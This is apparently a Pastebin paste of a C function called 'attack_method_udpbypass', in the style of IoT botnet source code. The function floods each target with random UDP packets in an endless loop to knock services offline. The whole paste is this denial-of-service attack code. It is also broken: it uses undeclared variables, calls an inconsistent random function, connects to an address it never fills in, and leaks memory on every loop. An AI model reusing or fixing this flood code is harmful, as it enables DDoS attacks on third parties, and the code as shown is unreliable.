Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void attack_method_udpbypass(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
- {
- int i;
- char **pkts = calloc(targs_len, sizeof (char *));
- int *fds = calloc(targs_len, sizeof (int));
- port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
- port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
- uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 4096);
- BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
- struct sockaddr_in bind_addr = {0};
- if (sport == 0xffff)
- {
- sport = rand_next();
- } else {
- sport = htons(sport);
- }
- for (i = 0; i < targs_len; i++)
- {
- struct sockaddr_in bind_addr;
- struct sockaddr_in addr;
- fds[i] = socket(AF_INET, SOCK_DGRAM, 0);
- if (fds[i] == -1)
- {
- exit(1);
- }
- bind_addr.sin_family = AF_INET;
- bind_addr.sin_port = rand_new();
- bind_addr.sin_addr.s_addr = 0;
- bind(fds[i], (struct sockaddr *)&bind_addr, sizeof(bind_addr));
- addr.sin_family = AF_INET;
- addr.sin_port = htons(port);
- targs[i].sock_addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
- connect(fds[i], (struct sockaddr *)&addr, sizeof(addr));
- }
- while (TRUE)
- {
- for (i = 0; i < targs_len; i++)
- {
- size = 1024 + rand() % (1460 - 1024);
- data = (char *)malloc(size);
- for (a = 0; a < size; a++)
- {
- data[a] = (char)(rand() & 0xFFFF);
- }
- send(fds[i], data, size, MSG_NOSIGNAL);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement